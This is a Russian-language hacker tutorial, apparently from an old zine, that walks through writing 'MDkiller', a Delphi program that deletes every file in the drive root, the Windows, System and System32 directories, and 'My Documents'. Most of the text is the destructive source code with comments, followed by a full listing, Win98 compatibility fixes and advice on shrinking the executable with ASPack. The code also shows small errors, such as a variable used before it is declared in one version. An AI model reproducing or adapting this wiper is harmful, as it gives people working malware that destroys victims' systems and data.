Системные требования:
Win9x или NT, Delphi 5+, умение программировать методом
Copy-Paste :).
Сегодня мы напишем простенькую программку на Делфи, убивающую операционную
систему Windows (a.k.a. Must Die). Даже не просто убивающую, а удаляющую все
файлы, лежащие в корне того диска, где стоит OC, папке "Мои Документы",
директории Windows, системной директории Windows, папке System32. Например если
ты установил Мастдай в C:Windows, то при запуске проги будут удалены все файлы
(но не папки) из: C:; C:Windows, C:Мои Документы,
C:WindowsSystem,
C:WindowsSystem32.
Итак, приступим к делу. Project -> View Source. Здесь удаляем все лишнее,
чтобы в результате получилось следующее:
program MDkiller;
uses
Windows, Sysutils;
begin
end.
Теперь Делфя готова к работе. :))
Дополним это еще несколькими строками:
program MDkiller;
uses
Windows, Sysutils;
var { обьявление переменных}
S: Tsearchrec;
a1,a2,a3,a4,a5: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path); {определяем директорию, где установлена
Windows}
a1:= strpas(p) + ''; {переводим возвращенный параметр из типа PChar в строковый
тип и дополняем путь к директории Windows символом ''}
a2:= a1[1]+ ':'; {определяем диск, на котором установлена ОС}
a3:= a2 + 'Мои Документы'; {определяем папку "Мои Документы"}
getsystemdirectory(p1,max_path); {определяем cистемную директорию}
a4:= strpas(p1) ; {переводим возвращенный параметр из типа PChar в строковый тип
} a5:= a4 + '32'; {определям System32}
a6:= a4 + ''; {дополняем путь к системной директории символом ''}
end.
Разберемся, что мы сделали :)
Переменные S: Tsearchrec и F: File необходимы для последующей процедуры
поиска файлов в заданных директориях. Остальные переменные типа string и pchar
нужны для определения необходимых параметров и перевода их в понятный фугкциям
FindFirst и FindNext язык. Для определения системной директории и директории
Windows мы использовали функции WinAPI
GetWindowsDirectory и GetSystemDirectory. Пути к нужным директориям определены,
осталось удалить из них файлы. :)
Для поиска и удаления воспользуемся функциями FindFirst и FindNext.
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S)
else { если функция FindFirst
возвращает значение не ноль - завершить поиск, если ноль тогда продолжить}
repeat {продолжать} deletefile(a1 + S.name); {удаление найденного файла}
until {пока}
Findnext(S) <> 0; {не возвращено значение ноль}
FindClose(S);{тогда закончить поиск}
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end.
Вот и все. Я откомментировал удаление файлов только из директории Windows, т.к.
в других случаях происходит почти то же самое - поиск и удаление файлов до тех
пор, пока не будет возвращено значение не ноль ( <>0), т.е. файлов в указанной
директории больше нет. Замечу, что удаление файлов из папок, находящихся в
заданных директориях, производиться не будет, т.к. это требует усложнения
алгоритма поиска.Я написал прогу с использованием WinAPI и Sysutils, так ее
размер составил 42КВ, а зажатая ASPack'ом она стала весить всего 26КВ. Если
не использовать Sysutils, а описать поиск файлов, используя FindFirstFile и
FinfNextFile из WinAPI можно получить размер екзешника - 17 KB, сжатый ASPack'ом
- 15KB!
ЗЫ: Я тестировал прогу на Windows 2000 Pro SP1. При работе под Win9x возможны
ошибки, требующие небольшого изменения кода. Например на Win 98 SE при
определении директории, в которую установлен Мастдай, прога выдает сообщение о
ошибке и не работает. :( Но если перед GetWindowsDirectory() и
GetSystemDirectory() написать p:='' и p1:='' соответственно, то все
запашет без проблем.
Полный листинг проги:
program MDkiller;
uses
Windows, Sysutils;
var
S: Tsearchrec;
a1,a2,a3,a4,a5,a6: string;
F: File;
p,p1: pchar;
begin
GetWindowsDirectory(p, max_path);
a1:= strpas(p) + '';
a2:= a1[1]+ ':';
a3:= a2 + 'Мои Документы';
GetSystemDirectory(p1,max_path);
a4:= strpas(p1) ;
a5:= a4 + '32';
a6:= a4 + '';
if FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a1 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a2 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a3 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a4 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a4 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
if FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S) else
repeat
deletefile(a5 + S.name);
until
Findnext(S) <> 0;
FindClose(S);
end. |